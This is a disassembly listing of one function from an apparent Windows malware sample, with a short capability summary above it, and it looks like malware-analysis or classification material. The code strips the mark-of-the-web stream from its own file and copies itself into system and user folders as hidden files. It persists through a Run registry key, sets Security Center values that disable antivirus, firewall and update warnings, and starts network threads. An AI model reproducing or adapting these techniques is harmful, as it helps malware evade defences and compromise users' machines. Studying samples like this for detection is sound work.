Function at 0x405e10
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Delete file
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x235a
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x83c]
jae 0x405e98
push str.2393737939739
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405e87
push 0
push str.33973397337
push str.297973937_
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.2282688262
push str.337372927
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.333383737
push str.038038
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
jmp 0x405e38
push 0x414be4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405ec2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x4169d0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4169d0
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x4169d0
push str._s:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea ecx, [ebp - 0xa48]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xbe4], 0x414bf0
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0xbe8], edx
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax]
mov word [ebp - 0xbea], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx]
jne 0x405fb3
cmp word [ebp - 0xbea], 0
je 0x405fa7
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax + 2]
mov word [ebp - 0xbec], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx + 2]
jne 0x405fb3
add dword [ebp - 0xbe8], 4
add dword [ebp - 0xbe4], 4
cmp word [ebp - 0xbec], 0
jne 0x405f4d
mov dword [ebp - 0xbf0], 0
jmp 0x405fbe
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xbf0], eax
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp - 0xbf4], ecx
cmp dword [ebp - 0xbf4], 0
je 0x40623a
call fcn.0040d0f0
movzx edx, al
cmp edx, 1
jne 0x405fec
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x838]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x414bf0
lea ecx, [ebp - 0x838]
push ecx
push 0x41122c
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x630]
push eax
push 0x4169d0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406119
push 3
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push 0x411238
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4060fa
lea eax, [ebp - 0x630]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0xbf8]
add ecx, 2
mov dword [ebp - 0xbfc], ecx
mov edx, dword [ebp - 0xbf8]
mov ax, word [edx]
mov word [ebp - 0xbfe], ax
add dword [ebp - 0xbf8], 2
cmp word [ebp - 0xbfe], 0
jne 0x406090
mov ecx, dword [ebp - 0xbf8]
sub ecx, dword [ebp - 0xbfc]
sar ecx, 1
mov dword [ebp - 0xc04], ecx
mov edx, dword [ebp - 0xc04]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x630]
push ecx
push 1
push 0
push 0x414c0c
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x630]
push ecx
call fcn.0040d390
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x406119
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x414bf0
lea eax, [ebp - 0xa48]
push eax
push 0x411298
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x420]
push edx
push 0x4169d0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40623a
push 3
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40621b
lea edx, [ebp - 0x420]
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xc08]
add eax, 2
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
mov dx, word [ecx]
mov word [ebp - 0xc0e], dx
add dword [ebp - 0xc08], 2
cmp word [ebp - 0xc0e], 0
jne 0x4061b1
mov eax, dword [ebp - 0xc08]
sub eax, dword [ebp - 0xc0c]
sar eax, 1
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push 0x414c0c
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
call fcn.0040d390
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40623a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406351
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411328
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41133c
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x411354
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411368
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41137c
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x411394
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4113a4
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x424]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40645d
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040b1c0
movzx ecx, al
test ecx, ecx
je 0x4065c8
lea edx, [ebp - 0xbe0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xa48]
push eax
push str._s_tbnds.dat
push 0x416be0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa48]
push ecx
push str._s_tbcmds.dat
push 0x4165c0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x4043f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4054a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405cf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004045f0
call fcn.0040d020
call fcn.00405ba0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x416e04], eax
call fcn.0040a8f0
mov dword [0x416e0c], eax
call fcn.0040baf0
mov dword [0x416e08], eax
call fcn.00409d40
push 0
push 0
push 0
push 0x40bfb0
push 0
mov edx, dword [0x416e08]
push edx
call fcn.0040bba0
add esp, 0x18
push 0
push 0
push 0
push 0x40bf10
push 0
mov eax, dword [0x416e08]
push eax
call fcn.0040bba0
add esp, 0x18
push 0
push 0
push 0
push 0x40baa0
push 0
mov ecx, dword [0x416e08]
push ecx
call fcn.0040bba0
add esp, 0x18
push 0
push 0
push 0
push 0x40b8a0
push 0
mov edx, dword [0x416e08]
push edx
call fcn.0040bba0
add esp, 0x18
jmp 0x4065cc
xor eax, eax
mov esp, ebp
pop ebp
ret